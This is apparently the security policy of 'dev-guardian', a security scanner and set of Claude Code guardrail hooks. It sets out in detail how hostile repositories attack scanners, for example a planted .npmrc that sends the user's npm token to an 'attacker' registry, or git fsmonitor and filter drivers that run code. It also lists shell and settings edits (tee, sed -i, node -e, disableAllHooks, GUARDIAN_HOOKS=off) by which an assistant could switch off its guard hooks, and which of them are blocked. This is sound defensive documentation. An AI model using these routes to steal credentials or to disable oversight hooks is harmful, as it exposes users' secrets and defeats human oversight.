dev-guardian is a security tool, so we hold its own code to the bar it enforces.
Only the latest release receives security fixes; older tags are not patched — upgrade to the newest release.
| Version | Supported |
|---|---|
| 3.0.x | ✅ |
| < 3.0 | ❌ |
Do not open a public issue for security reports.
Email carlospereira@prodigitalkey.com with:
- a description of the issue and its impact,
- steps to reproduce (PoC if possible),
- the affected version / commit.
You can expect an acknowledgement within 72 hours and a remediation plan once the report is triaged. Please allow a reasonable disclosure window before going public; we will credit reporters who want it.
In scope: the MCP server (mcp/), the CLI (cli/dev-guardian.mjs), the
guardrail hooks (hooks/), the skills and slash commands, the bundled configs
and CI templates (configs/), and the supply-chain logic in scan_skill,
vet_packages, audit_agent_config and audit_mcp_tools.
Out of scope: vulnerabilities in the third-party scanners dev-guardian orchestrates (Semgrep, Trivy, gitleaks, Syft, WPScan, …) — report those to their respective projects.
- dev-guardian sends no telemetry of its own. Results persist to
.guardian/guardian.dbin the scanned project and never leave it. Reports and the dashboard are self-contained and load no external assets. - A project's database is used only when it is yours. A database is its
writer's data: a trigger in a committed
.guardian/guardian.dbhid every finding, and so did suppressions with no project in one whose schema was exactly dev-guardian's, and scans dated in the future that outranked the user's own. A database dev-guardian creates carries a random id registered in a per-user registry, and is trusted only at the path it was registered for (the id travels with a copy). Nothing else is trusted automatically — not one from 3.0.0 or earlier, not a copy: nothing in a file tells its owner from whoever wrote it. You register one yourself withdev-guardian db adopt(CLI only, never an MCP tool — an assistant must not run it for you): it shows what the database holds, flagging suppressions that apply to every project and scans dated in the future, and registers it with--yes. Refused even then: a database git tracks (in any case), a submodule, a link or junction, a schema holding what the migrations never create (a trigger, a view, an unknown table or index, a constraint added to a known table), or any scan dated in the future. A foreign database is not opened for writing and not modified: the per-user fallback (%LOCALAPPDATA%\dev-guardian,~/.local/share/dev-guardian, orGUARDIAN_DATA_DIR) is used instead, andhealth_statussays why and what to do. No path stored in a database is looked up to judge it (a\\host\sharewould reach the network). A file SQLite cannot read, or a per-user directory that cannot be used, never stops the server: it runs on the fallback or an in-memory database and says history will not persist. History readers ignore scans dated in the future, and say how many.health_statusandrisk_scorealso say how many findings suppressions take out. Every connection runs withtrusted_schema = OFFandcell_size_check = ON. - Secrets stay redacted. gitleaks runs with
--redact; a credential finding's snippet is cleared before it is stored, and cleared again before an exported report, a GitHub issue or the dashboard shows it.suggest_fixnever reads a credential finding's file back. The one exception is opt-in:verify_live(below) reads the value from a private temporary report, sends it only to its own provider, and deletes the report. - A project cannot switch the protective hooks off. In a project's
.guardian/hooks.config.json,enabled: false,bash.block: falseandbash.warn: falseare ignored (SessionStart tells the model so), and there is no project-level switch for install vetting; only advisory settings (secrets.warn,sessionStart,ignorePaths) and stricter ones take effect. Switching a protective hook off takes the user-level~/.config/dev-guardian/hooks.jsonor the environment (GUARDIAN_HOOKS=off,GUARDIAN_HOOKS_BASH_BLOCK=0,GUARDIAN_PKG_VET=0). The write guard denies an assistant'sWrite/Edit/MultiEditof any hook configuration file, and the shell guard denies what it can see a command do to one: write it (>,tee,sed -i,perl -pi,rsync,cp/mvonto it, PowerShellSet-Content/[IO.File]::WriteAllText, cmd>insidecmd /c "…", …), remove or move it away, copy a directory onto.guardianor~/.config/dev-guardian, or name it in program text on the command line (node -e,python -c, a heredoc fed topython), relative paths resolved after acd. A program run from a file is not seen, which matters only for the user-level file (docs/hooks.md lists what else is not). A project'signorePathsand.guardian/hooks-allowlist.jsonnarrow the secret warning only, never a secret block the user enabled. Each hook configuration file is first checked, component by component withlstat+readlink, for a link to a network or device path (\\host\share), which is refused unopened; it is then opened (non-blocking where the OS allows) and judged byfstaton what was opened: only a regular file of at most 64 KiB is read, so a FIFO, a link to/dev/zero, a Windows link to a named pipe or to an unreachable share in its place no longer hangs the hook into its 15 s timeout — which used to let the tool call run unguarded — and the shell guard denies creating one there. The install hook reads its registry configuration (.npmrc,pip.conf,nuget.config, …) through the same link walk; one that is there but could not be read counts as possibly a private registry, so a missing name warns. Claude Code's own settings: an assistant'sWrite/Edit/MultiEditof.claude/settings.jsonorsettings.local.jsonis denied when it would newly setdisableAllHooks, anenventry settingGUARDIAN_HOOKS=off,GUARDIAN_HOOKS_BASH_BLOCK=0orGUARDIAN_PKG_VET=0, or anenabledPluginsentry turning dev-guardian off; every other edit of those files is allowed. A shell write of them is denied when the command names one of those keys, and so isclaude plugin disable|uninstallof dev-guardian. See docs/hooks.md. audit_mcp_toolsexecutes third-party code. It starts the MCP servers named in itsserversargument — theircommandandargs, as the host would launch them — only for the server names the caller lists explicitly: there is no wildcard and no default, and a name no config declares is skipped. A name selects entries exactly:<source>::<name>picks one; a bare name whose entries launch different servers is refused with the qualified names to choose from; another project's entries in Claude Code's global config are never started. Each runs with a minimal environment (the MCP SDK's default allowlist —PATH,HOME/USERPROFILEand a few more, plus the variables Windows adds to every process — plus the entry's ownenv), never this server's full environment, and a${VAR}placeholder is passed literally rather than filled from it; its working directory is the project. The audit sendsinitializeand the list methods only and never callstools/call; it contacts a remote server only withallow_remote: true— an entry is remote when it has a URL; when a UNC or device path appears anywhere in its command, an argument or anenvvalue (touching it would send the user's credentials to that host over SMB); when a URL with a host appears there (mcp-remoteand other proxies,file://host/…,NODE_OPTIONS,DOCKER_HOST, a database URL — everyscheme://, andhttp,https,ws,wssorftpfollowed by:with or without//, parsed as WHATWG does; one that does not parse is remote); when any word of its command line, a-c//cstring included, isssh,sshpass,plink,kubectloroc; or when it runsdocker,podmanornerdctlagainst another engine (-H,--host, a context,--remote,--connection,--url,DOCKER_CONTEXT,CONTAINER_CONNECTION). A URL whose parsed host is exactlylocalhost, a127.x.x.xaddress or[::1]is local (DATABASE_URL=postgres://user:pw@localhost/appneeds noallow_remote) — unless it carries a backslash anywhere, more than one@, a host after its@that is not written as loopback, or a query on a non-HTTP scheme (libpq reads a host from?host=), or a space, quote or control character inside its host, since another parser may then read another host (TAB and newline are deleted first, as URL parsers delete them); aurlentry needsallow_remoteeven at localhost. Loopback is where a tunnel starts:ssh -L,kubectl port-forward, a local proxy or a VPN client listening on 127.0.0.1 make a loopback URL reach another machine, and the configuration does not say so. This is a textual gate on the shapes a configuration can take, not a sandbox: a program that looks local still reaches the network by itself once started (npxdownloads the package; a server calls its own API), and nothing here sees that. It kills the server's process tree afterwards (the process group on POSIX,taskkill /Ton Windows), whether the server answered or not. On Windows the command is resolved with asynchronous look-ups over the localPATHentries only, so a network path never blocks the server — though aPATHentry that looks local but is not (a mapped drive, a junction to a share) is still looked up, off the event loop. Each server has a time budget, an inbound budget (4 MiB, 10 000 messages, 2 MiB per message — 40 times the largest real listing measured) and a 1000-item cap per list; its listing is analysed right after it answers, up to 2 MiB of text, 64 KiB per string and 50 000 strings, with a turn of the event loop between items and every 256 KiB of text or 16 ms inside one, then dropped. The whole audit has a budget (GUARDIAN_MCP_AUDIT_BUDGET_MS); cancelling the call, or the budget running out, stops launching and stops the analysis. Whatever a bound leaves unread makes that server partial. What a started server does while it runs — its own network requests included — is that server's code: run the audit only for servers you would let the host start.- A clean
audit_mcp_toolsresult covers only what the server chose to show this client. The audit names itself honestly (dev-guardian-audit, no client capabilities, a minimal environment), so a server can recognise it and serve it definitions other than those it serves the host. Pins help (a definition that changes later, or a tool that vanishes and returns changed, is reported), but no audit from outside the host can prove what the host is shown. - Agent configs are read the way the hooks read theirs.
audit_agent_configandaudit_mcp_toolsread every MCP host config — the user-level ones included, and Claude Code's fromCLAUDE_CONFIG_DIRwhen that is set — through the hooks' hardened reader: links below the project (or the home directory) are walked first and a link to a network or device path is refused unopened, then the file is opened non-blocking and only a regular file within its cap (256 KiB; 16 MiB for Claude Code's.claude.json) is read. A FIFO, a device, a directory or a network link in a config's place can no longer hang either tool; a config that is there and was not read is named insources_unreadable, is a failed pass intools_run, and lowers coverage — never read as "no servers declared". - A scanned repository does not configure Trivy. Trivy reads
trivy.yamlfrom its working directory, and every Trivy pass used to run in the project: a committedtrivy.yamlofseverity: [UNKNOWN]turned a project with 7 known-vulnerable findings into a clean, fully covered scan (and the CI gate's exit 1 into 0), and itsdb.repositoryorserver.addrcould have sent the package list to a host of the repository's choosing. Every Trivy pass now runs in a report directory the scan created, with--configpointing at an empty file dev-guardian writes, and the target passed explicitly (mcp/src/runners/trivyRun.ts). The project's.trivyignoreis still honoured — accepted risks are the project's to state — but only explicitly (--ignorefile), and the run names it (honoured_config, and itstools_runreason);review_prwarns when the diff edits it. What it suppressed is counted and named in the scan's warnings and the CI gate's output, JSON and SARIF (Trivy 0.50.0 or newer;trivy configcannot list it and says so).npm auditstill honours the project's.npmrc(a private registry is legitimate), anddeps_auditnames the registry that answered when it is notregistry.npmjs.org, credentials removed. - Nor Syft, nor a
.banditbelow the root; the rest is named. Syft read the project's.syft.yaml(generate_sbomran in the project): a committedselect-catalogers: ['-javascript']emptied the SBOM of a project pinning lodash, and the same file can turn on Syft's network lookups. Syft now runs like Trivy (mcp/src/runners/syftRun.ts: a report directory,-cpointing at an empty file, no update check).bandit -rapplied a.banditfound anywhere in the tree — a dependency's included — to every file; it now gets--ini: the project's own root.bandit, or an empty one. The configs a project legitimately owns and a scanner reads are honoured and named on the run that read them, one way for every runner (honoured_configand its reason, "honoured the project's X (what it decides)"; the table ismcp/src/runners/repoConfig.ts, and a test fails on a scanner spawned without an entry):.trivyignore, a root.bandit,.gitleaks.tomland.gitleaksignore,.hadolint.yaml(hadolint now runs in the report directory and is given it with--config),.github/actionlint.yaml,zizmor.yml/.github/zizmor.yml, every.semgrepignore(root and nested, on a whole-project Semgrep run — Semgrep ignores them for files named explicitly),.npmrcwhenever npm audit read one, arequirements*.txt(or a file it includes with-r/-c) whose index options decide where pip-audit's resolution installs from, or whose direct, VCS or network references decide where it fetches from (read by the same parser ascreate_fix_pr's allowlist; whatever it could not check — a URL include, an environment variable, a path or link out of the project — is named as such: pip may take its sources from it), a file at one of these paths that is a link, a FIFO or a directory ("present, not checked"),NuGet.config, the .NET build's.editorconfig,.globalconfigandDirectory.Build.props/.targets, and quality_check's ruff, jscpd, radon, staticcheck and ESLint configurations..guardianignoreis named on every run of a scan it shapes. - A pull request does not choose its own gate. On a pull request, the
checkout's
.guardian/baseline.json, Semgrep rules and ignore files are the pull request's: read from there, a fork adopted its own finding into the baseline, or deleted the rule that caught it, and passed.scan --baseline-ref <ref>reads the baseline from a commit with git, and--rules-ref <ref>copies the project's Semgrep rules,.guardianignore,.trivyignoreand.banditfrom it (mcp/src/ci/refConfig.ts); theci-initpipelines pass the pull request's base..semgrepignoreand gitleaks' two files, which no scanner flag can read from a ref, are put back to the base's in the disposable CI checkout (--reset-exclusions-from, refused anywhere else); actionlint's and zizmor's configuration and the .NET build's files are named in the report whenever the pull request changes them. The pipeline file itself runs from the pull request's branch on every host: it needs a required review (docs/ci.md). - What
install_toolchaininstalls is pinned, and checked before it runs. Syft, Trivy and gitleaks came from routes that follow upstream — Syft'sinstall.shpiped from itsmainbranch, Trivy from its apt repository orreleases/latest, gitleaks fromreleases/latest(inscripts/install/install-linux.sh, which runs for the Linux defaults and the Windows WSL fallback), scoop and choco on Windows — the route the credential-stealing Trivy v0.69.4 took on 2026-03-19. Every install of them now fetches one release (Syft 1.52.0, Trivy 0.74.0, gitleaks 8.30.1) and checks the archive against a sha256 dev-guardian pins (PINNED_RELEASESinmcp/src/runners/installCatalog.ts, each checked against the release's checksums file, GitHub's asset digest and an independent download) before unpacking it:sha256sum/shasuminto~/.local/binon Linux and macOS,Get-FileHashin PowerShell into%USERPROFILE%\.local\binon Windows. The user's PATH is not changed (the Windows installer warns when it lacks the directory); the server appends that directory to its own PATH, after every other entry, so its scans find the tool without shadowing one installed elsewhere, andinstall_toolchainnames where each binary went. A CPU with no pinned archive is refused. On Windows, winget, scoop and choco are a fallback that asks for that same version. On macOS, Trivy is the pinned archive first — the per-tool install used to take the vendor's Homebrew tap (aquasecurity/trivy), which installs Aqua's own release binaries rather than a Homebrew bottle and was found at 0.69.3 — with homebrew-core'strivyformula as the fallback, andinstall-macos.shtakes the same archive; Syft and gitleaks come from Homebrew first (homebrew-core bottles, built by Homebrew, not pinned to a version) with the pinned archive as the fallback. cosign's installer was already pinned this way. A test holds the Linux script and the macOS script's Trivy to the catalogue's versions and sums. - Least privilege. The MCP server reads and writes within the target project
and its
.guardian/directory, plus the temporary directories and user cache listed in mcp/README.md. - The scanned repository's files are hostile input. A clone, an archive or
a pull request chooses what is at every path in it — a link, a junction, a
FIFO, a device, a file of any size — and the server acts on it at startup,
before any tool call (it keeps
.guardian/out of.gitignore). Every read of a project file goes throughmcp/src/platform/projectFs.ts: a path that resolves outside the project (a link,..), a link to a network or device path, anything but a regular file (judged byfstaton a descriptor opened non-blocking, so a FIFO is never waited on), and a file over the caller's cap are refused with a typed reason, and at most cap + 1 bytes are ever read. Every write into the projectlstats the target and refuses a link (a junction or a dangling link included) or a non-regular file, refuses a directory on the way that resolves outside the project, and writes a temp file beside the target that is then published withlink()(create) orrename()(replace) — never written through a link, never into an inode a hard link shares. The tree hash hashes a link by its target text without following it; a report directory (.guardian/reports/…) with a link on its way is replaced by a fresh temp directory;precommit_installrefuses a.git, hooks directory or hook file that would send pre-commit's writes elsewhere. A source-scan test lists every rawfscall left inmcp/srcwith the reason it is not the repository's. The last repository reads it named as not yet converted — inrunners/(the scanner configs, the manifests and lock files read for Trivy's gaps, the stack detector's manifests, the project's Semgrep rule files) andskillaudit/— go through it too now: apackage.jsonlinked to/dev/zerohad OOM-killed the server throughdetect_stack. Where a refused file would have changed what a tool reports, the result names it (detect_stack'sunread_files, a warning, a coverage gap). Bytes read are not memory used, so the parsers are bounded too: lines are iterated, never split into an array; a lock file is parsed only below a cap far under the read cap (above it Trivy's coverage gap is kept, "not checked") and a JSON document is refused by its value count before it is parsed. A YAML document passes four gates first (mcp/src/platform/boundedParse.ts): its size (1 MiB for a configuration — twelve times the largest rule pack shipped here — 5 MiB for an API spec), a count of every character that can open, separate or decorate a node (so nesting written on one line,- - - … x, counts), its nesting depth on the parser's own syntax tree (64), and the size of its value once aliases are followed (a "billion laughs", or an alias inside what it names, is refused); a fuzz of adversarial shapes sized to those gates holds every admitted parse under a second innode:22 --memory 768m; every walk that reads many files (detect_stack, the manifest walk, the IaC walk, the WordPress inventory) shares one byte and file budget, and a file past it is named. Nothing on a repository path isstat'ed,realpath'ed or tested withexistsSyncbefore the links on its way are walked withlstat— on WindowsexistsSyncof a link to\\host\shareblocked for 157 s and authenticated to the host. A scanner, a package manager and git itself (the hook's too) are spawned by the absolute path the name resolves to on PATH, looked up in-process: never a binary the repository planted in the directory it runs in (where, libuv andcmd.exeall searched it first, measured), and the server and the CLI setNoDefaultCurrentDirectoryInExePathand drop relative PATH entries for every other spawn. Both changes are to the process's own environment, so every child — a scanner, a package manager, the project's own test command — inherits them:NoDefaultCurrentDirectoryInExePath=1, and a PATH with no empty or relative entry (a script that relied on.in PATH no longer finds what it ran from there). Not converted: the.guardian/guardian.dbthe storage layer opens. - A scanned repository's own git configuration runs nothing. A repository
delivered with its own
.git/(an archive, a ZIP download, a shared folder) names programs git runs:core.fsmonitoronstatusandls-files; hooks in.git/hookson an index write, a checkout and a commit (--no-verifystill runsprepare-commit-msg,post-commitandreference-transaction); a filter driver'sclean,smudgeorprocessonstatus,diff HEADand a checkout; a textconv driver, andgpg.programunderlog.showSignature, on thegit log -pgitleaks runs;core.sshCommand,core.askPass, a credential helper orremote.<name>.receivepackon a push. Measured before this was fixed:scan_sastran a repository'score.fsmonitorthrough Semgrep's owngit ls-files,scan_secretsran its textconv driver through gitleaks, and the SessionStart hook rancore.fsmonitor, the clean filter andpost-index-changewhen a session merely opened the project. Every git dev-guardian starts — itself, and inside every scanner, package manager or script it runs — now takes configuration overrides from its environment (GIT_CONFIG_COUNT, appended after your own entries, which are kept), which outrank every file the repository has (mcp/src/platform/gitSafety.ts):- always:
core.fsmonitor=false;core.hooksPathat a path that cannot exist (beneath the Node executable on Windows, beneath/dev/nullelsewhere);protocol.ext.allow=never;log.showSignature=false;gc.auto=0andmaintenance.auto=false;diff.submodule=short(a repository'sdiff.submodule=diffmade gitleaks'git log -pdiff inside a submodule, running its textconv driver — measured); andGIT_PAGER=cat,GIT_EDITOR=:,GIT_SEQUENCE_EDITOR=:; - for the repository at hand, read first with
git config --get-regexp(which runs nothing) from itslocalandworktreescopes — every file they pull in withinclude.pathorincludeIfincluded: each filter driver's commands emptied and itsrequiredset false, each textconv drivercat, external diff and merge drivers emptied,core.sshCommandssh(or yourGIT_SSH), the gpg programs git's defaults,core.askPass, aliases andcore.alternateRefsCommandemptied, and the credential-helper list reset to your own. Where your system or global configuration sets the same key, your value is used instead. A repositorycore.gitProxy(first match wins) is answered with an emptyGIT_PROXY_COMMANDunless you set one; a repositoryremote.<name>.uploadpack(first value wins) withGIT_NO_LAZY_FETCH=1; - what decides where, and how, a git sends your credentials over HTTP — each
measured to apply from a repository's own configuration, each measured
overridden against local servers:
http[.<url>].extraHeader(a header on every request) is reset under the repository's own key and your own headers for that URL replayed — never a header you set for another URL;http[.<url>].proxyandremote.<name>.proxybecome your own proxy variable (https_proxy,http_proxy,all_proxy) or none;http[.<url>].sslVerifybecomestrue, and.sslCAInfo/.sslCAPathempty — the handshake then fails rather than trust a certificate authority of the repository's choosing;.cookieFileempty and.saveCookiesfalse (a plain git WROTE its cookie jar to the path the repository chose);.followRedirectsinitial. A URL-specific key is overridden under its own key: git keeps the most specific match per URL, and a generic override appended after it loses (measured).url.<base>.insteadOfandpushInsteadOfcannot be overridden:create_fix_prrefuses to push, and names the key, when one from the repository's own configuration rewrites origin's push URL (yours still apply); - every initialised submodule, the same way — git goes into each one on a
statusor adiffof the work tree, where the submodule's OWN configuration (.git/modules/<name>/config, or an old-style in-treesub/.git/) names its own drivers. Measured: a superprojectgit status --porcelainran clean filters defined only in an absorbed submodule, in a submodule of that submodule, and in an in-tree one. Each gitlink in the index whose directory holds a.gitis read, nested ones too, and its keys added to the overrides (named… (submodule <path>)). Where a query needs nothing inside a submodule's work tree — SessionStart's count, the working-tree file listings,create_fix_pr's tree state, the CI gate's configuration diff — it also passes--ignore-submodules=dirty, which keeps git out of the submodule and still reports a submodule whose commit moved (measured). The auto_fix guard and CI's clean-checkout check keep full recursion — uncommitted work inside a submodule is still work — safe through the first layer; - dev-guardian's own commit passes
--no-verify, and its push--no-verify --receive-pack=git-receive-pack. To a repository on this machine the receive-pack isgit -c … receive-packcarrying that destination's own overrides: git removesGIT_CONFIG_COUNTfrom a local receive-pack's environment (measured — the destination's hooks ran). A checkout (review_pr's head,create_fix_pr's worktrees) isworktree add --no-checkout, thenreset --hard --no-recurse-submodulesinside the new worktree, so anincludeIfthat matches the new worktree is read — and neutralised — where the checkout runs, and asubmodule.recurse=true(yours or the repository's) does not send the reset into submodules the worktree was never given. Semgrep's Docker fallback gets the overrides with-e. - A repository whose configuration cannot be read safely — a key or a
submodule path that is not UTF-8, more than 200 command keys, more than 64
initialised submodules or more than 8 levels of them, a read that takes
over 10 s — is not run, and the tool says why. So is every repository
when the git on
PATHdoes not readGIT_CONFIG_COUNT(older than 2.31). What a run did not apply is named:review_pr's warnings, the gitleaks history pass's reason,create_fix_pr'sgit_config_not_applied. - Limits. Not hardened: the test command
create_fix_prruns and the application the DAST gate starts — both are the project's own code, run by design;precommit_installkeeps every override but the hooks redirect (installing hooks where git says they go is its job; pre-commit's own git calls arerev-parseandconfig). A filter or textconv driver defined in YOUR configuration (git-lfs) still runs when the repository maps a file to it: your program, the repository's input. Conditional includes are evaluated in the directory a process starts in: a scanner that enters another repository by itself (none of dev-guardian's do) carries the static layer and the first repository's overrides, not the other's. The configuration is read, then used, by separate processes, and one reading serves every git started in the same directory and environment for up to 2 s: a local user who can rewrite.git/configin between is not stopped. Lazy fetching is refused only by a git that knowsGIT_NO_LAZY_FETCH(measured: 2.52.0 and 2.39.5 do).remote.<name>.vcsnames a remote helper, which must already be installed. Git 2.52 has no configuration-defined hooks (hook.<name>.command); a later git that adds them is not covered bycore.hooksPath. Keys read only by commands dev-guardian never runs —difftool,mergetool,sendemail,submodule.<name>.update,trailer.<key>.cmd,web.browser— are not overridden. A repository'score.worktreecan still point git's file listing at another directory: a read, not an execution. On Windows the textconv identitycatis Git for Windows' own; where git cannot find it, git fails, loudly. Submodules: one that is not initialised (no.gitin its directory) is not read — git does not go into it either; nor is an untracked nested repository, which astatuslists as?? dir/without entering (measured). Over HTTP, not overridden:http.sslCert/sslKey,sslVersion/sslCipherList, the proxy's own TLS and authentication settings; the neutral proxy for a key that names no URL is the first of yourhttps_proxy,HTTPS_PROXY,http_proxy,all_proxy,ALL_PROXY, which can differ from git's per-scheme choice; a repository that legitimately sets its ownsslCAInfocannot reach its server under dev-guardian (set it in your own configuration). A repository's ownurl.<base>.insteadOfis refused only forcreate_fix_pr's push; any other network git in the project — a package manager resolving a git dependency increate_fix_pr's worktree,gh— still follows it.
- always:
- Repository text is escaped before it is shown. A rule message, a
snippet, a file name, a reason or a title can carry characters that render
as nothing or reorder what does (a right-to-left override, a zero-width
space, ESC). Every string in every tool result and resource — keys included
— is passed through
untrustedText(mcp/src/platform/untrustedText.ts) at the MCP response boundary, and to every progress notification's message: C0 and C1 controls (except\nand\toutside a path, name or id; a Windows\r\nin a multi-line field is read as\n, a lone\ris escaped), bidi controls and every other default-ignorable code point are written as a visible\u{XXXX}. The emoji sequences, keycaps, CJK variation selectors and subdivision flagsaudit_mcp_toolsalready exempts pass unchanged, and so does every other character: a日本.pystays日本.py. Stored findings are unchanged; only what is shown is escaped. The CLI's human output (scan,baseline update,check) is escaped the same way, andstatusstill strips terminal escape sequences. create_fix_prruns the project's code. To judge a candidate fix it runs the project's own test command —npm test(scripts.test),pytest(everyconftest.py),cargo test(build.rs),go test— in its worktrees, on a dry run too, and its description says so. That command runs with an allowlisted environment (extendEnv: false):PATH, the home and temp directories, the locale,CI, the variables every Windows process expects, and the toolchains' own (NODE_*,PYTHON*,CARGO_HOME,RUSTUP_HOME,GOPATH,GOCACHE, …), with any name that looks like a credential (TOKEN,SECRET,PASSWORD,AUTH,API_KEY, …), everyGUARDIAN_*and everynpm_config_*removed — no token or cloud credential the server was started with reaches it. It is still the repository's code, running as you, with your files: runcreate_fix_pronly on a repository whose tests you would run yourself.- A repository never chooses where
create_fix_pr's package managers send your credentials. A repository.npmrcwithregistry=https://attacker/and//attacker/:_authToken=${NPM_TOKEN}madenpm outdated,npm ci,npm installandnpm auditin its checkouts fetch from that host with your own token (--ignore-scriptsdoes not stop a fetch); a scoped registry (@acme:registry=…) is the same route, and a requirements file's--index-urlmakespip-auditinstall from — and build sdists fetched from — the repository's index. In every checkoutcreate_fix_prworks in (the planning tree, the fix's worktree, the base-commit tree), the repository's own.npmrc,.pnpmrc,.yarnrc,.yarnrc.yml,pip.conf,pip.ini,.pip/,.cargo/config.toml/.cargo/config,.bundle/configandNuGet.config— in the project's directory and every directory above it in the checkout — are moved out before any package manager runs, named in the group'spackage_config_set_aside, and put back before anything is committed. Every package-manager process it runs, itself or throughdeps_update_plananddeps_audit(npm,pip-audit,composer,bundle,cargo,go,dotnet restore), gets the test command's allowlisted environment plus your own package-manager configuration: theNPM_CONFIG_*,YARN_*,PIP_*,COMPOSER_*,CARGO_REGISTRIES_*,BUNDLE_*,NUGET_*,GOPROXY-family and proxy variables, and exactly the variables your own~/.npmrc(or the fileNPM_CONFIG_USERCONFIGnames),~/.yarnrcand~/.yarnrc.ymlreference as${VAR}— so a token you configured for your own registry still reaches it, and only it. Python requirements are held to an allowlist, and it fails closed (mcp/src/deps/pipRequirements.ts): pip installs — a pip step, or any re-scan bydeps_audit, whose pip-audit installs them — only when every logical line of every requirements file, read the way pip reads it (its BOMs and UTF-16, a# -*- codingdeclaration, every line breakstr.splitlinesknows,\continuations joined, comments not joined), is blank, a comment, a plain PEP 508 requirement with no URL (a name, extras, versions, markers,--hash), or a-r/-cinclude (-rbase.txtglued,--requirement=…, or an absolute path) that stays inside the checkout, which is read the same way (at most 200 files). Anything else refuses the fix with the file, the line and the kind named, and a host asscheme://hostonly — never a user name, password, port, path or query: an index option in any spelling pip accepts (--index,-ihttps://…), an editable, a direct reference, a bare or VCS URL, a local or network path (\\host\share,file://host/…), an environment variable, a quoted or escaped option, an encoding pip would read differently (UTF-7, UTF-32), an include that leaves the checkout or is a URL, and a file that could not be read. The rule was held to pip 26.2.1's ownRequirementsFileParser: for every bypass of the regular expressions it replaced — and more — where pip chooses a source, dev-guardian refuses (test/unit/deps/pipAllowlist.test.ts).pyproject.tomlandsetup.cfgmeet the same rule —[project]dependencies, optional dependencies, dependency groups and build requirements must be plain, and a tool's own source table ([tool.uv.sources],[[tool.uv.index]],[[tool.poetry.source]], a Poetrygit/url/pathdependency,[tool.pdm.source], Hatch'sallow-direct-references,dependency_links) refuses; when pip-audit would build the project itself, dependencies the build backend decides (dynamic, no[project]) refuse too. Failing closed has costs, and these are the known ones: an abbreviated or quoted option pip would accept (--requirem,-r "a.txt"), an include written with a backslash (pip's parser reads-r reqs\base.txtasreqsbase.txt— measured — so the refusal says pip would open a different file), a~, drive-relative or rootless-on-Windows include, a chain past 200 requirements files, an environment variable anywhere, a UTF-7 or UTF-32 file, and a local orfile:requirement inside the checkout are all refused although some are harmless;requirements.in-style indirection is followed only through plain includes. An npm install —create_fix_pr's planning, its npm steps, and its test environment'snpm ci— also fails closed: it is refused when a dependency, an override, a resolution or any lock entry points at a network path (file:\\host\…,file://host/…), and when any file npm reads could not be fully read and checked —package.json,package-lock.json,npm-shrinkwrap.json,yarn.lockand every workspace member'spackage.json(a lock past the parse bound or the size cap, one that is not JSON, a FIFO, a link out, a member the walk could not reach): Windows would authenticate to the host, and npm reads what this check could not.deps_audititself does not refuse: it names, per file, the index options, the direct, VCS and network references and whatever it could not check, on the run (honoured_config). So is a Composer fix whosecomposer.jsondeclaresrepositories(the manifest the fix edits cannot be set aside); the planner does not plan Composer there either. A lockfile's ownresolvedURLs still choose where npm fetches each locked tarball from, but not where your token goes: measured with real npm (11.17.0 on Windows, 10.9.8 innode:22) and two local registries,npm ciandnpm installfetched a tarball the lock placed on another host without anyAuthorizationheader, while the tarball on your own registry carried your token — npm scopes a token to the host it was configured for, and a test holdscreate_fix_prto it. Not covered: the scans a user runs outsidecreate_fix_pr, which keep their environment and the repository's configuration.
GUARDIAN_OFFLINE=1 stops the lookups dev-guardian makes on its own initiative
— marked ★ below: threat intelligence, package vetting, scan_skill's OSV
lookup, live secret verification, the Wordfence / wordpress.org feed and
scan_containers' cosign check of an image's signature. What could not be checked
is then reported as unknown or as a coverage gap, never as clean. It does
not stop a request to a target you named (DAST, a skill URL, a Lighthouse
URL), anything a third-party scanner or build tool does on its own, or the
project's own build and test commands.
| Destination | Who contacts it | When |
|---|---|---|
api.osv.dev |
vet_packages ★, the install hook ★, scan_skill with check_deps ★ (offline, osv.dev reads skipped) |
per call |
registry.npmjs.org, pypi.org, repo.packagist.org, api.nuget.org, azuresearch-usnc.nuget.org |
vet_packages ★, the install hook ★ (3 s budget) |
per call; the hook only for a command that installs a package by name |
www.cisa.gov (KEV catalog), api.first.org (EPSS) |
prioritize_findings ★, risk_score ★, create_fix_pr ★ |
at most once per 24 h per CVE and for the catalog; guardian://cves/active only reads the cache |
The secret's own provider: api.github.com, gitlab.com, slack.com, api.stripe.com, api.openai.com, api.anthropic.com, registry.npmjs.org, api.sendgrid.com |
scan_secrets with verify_live: true ★ |
off by default. Each secret goes only to its own provider's read-only identity endpoint (a fixed URL per rule, never a host from the repository), 5 s timeout, at most 4 in flight and 50 per scan; security_scan_full never verifies |
www.wordfence.com, api.wordpress.org |
wp_vuln_check_source ★ |
Wordfence only with WORDFENCE_API_KEY; the feed is cached for 24 h |
| The target you name | scan_dast (loopback only unless authorized_target: true), wp_rest_audit, the CLI's DAST health check |
per call |
| The URL you name | scan_skill given an HTTP(S) or git URL |
per call |
| A remote MCP server you name — a URL entry, a UNC command, or the URL a proxy on the command line talks to | audit_mcp_tools with allow_remote: true (initialize and the list methods only) |
per call; without allow_remote that server is skipped |
| Destination | Who triggers it | When |
|---|---|---|
Semgrep registry (semgrep.dev) — rules download and usage metrics to Semgrep Inc. |
scan_sast and security_scan_full (--config=auto), review_pr, bug_hunt (p/r2c-bug-scan, p/security-audit, optional language packs), scan_wordpress (p/php, p/wordpress), audit_executive (through security_scan_full, and scan_wordpress on a WordPress project), init_project's first-pass status report (semgrep --config=auto, when a bash is available) |
by default. Semgrep refuses --config=auto with metrics off, so scan_sast, security_scan_full, review_pr, audit_executive and the CLI's --local-only offer local_only: true: only rules on disk, --metrics=off, nothing sent to Semgrep's registry or metrics endpoint. bug_hunt and scan_wordpress have no local-only mode; audit_executive with local_only skips scan_wordpress and says so. Semgrep's --metrics=auto also sends metrics with local rules when you are logged in to Semgrep, which is how map_attack_surface can send them. What Semgrep collects: https://semgrep.dev/docs/metrics. compliance_check (RGPD pack) and create_fix_pr's autofix always run with --metrics=off. |
Semgrep's version check (semgrep.dev) |
disabled by dev-guardian: every Semgrep run gets SEMGREP_ENABLE_VERSION_CHECK=0 — native runs (mcp/src/runners/semgrepRun.ts), the Docker fallback's container (-e), check_toolchain's semgrep --version, and init_project's status script |
never. Measured through a refusing proxy on 1.176.1: semgrep --version, and a scan with local rules and --metrics=off, each asked for semgrep.dev four times with a fresh home; with the variable, neither asked, and the scan's results were the same. |
| The project's NuGet feeds, and its MSBuild code | scan_sast on a .NET project (dotnet restore --locked-mode, then dotnet build) — even with local_only: true — and so security_scan_full, audit_executive, the CLI scan and create_fix_pr's re-scans; deps_audit (and audit_executive, which runs it) and deps_update_plan (dotnet restore, dotnet list package) |
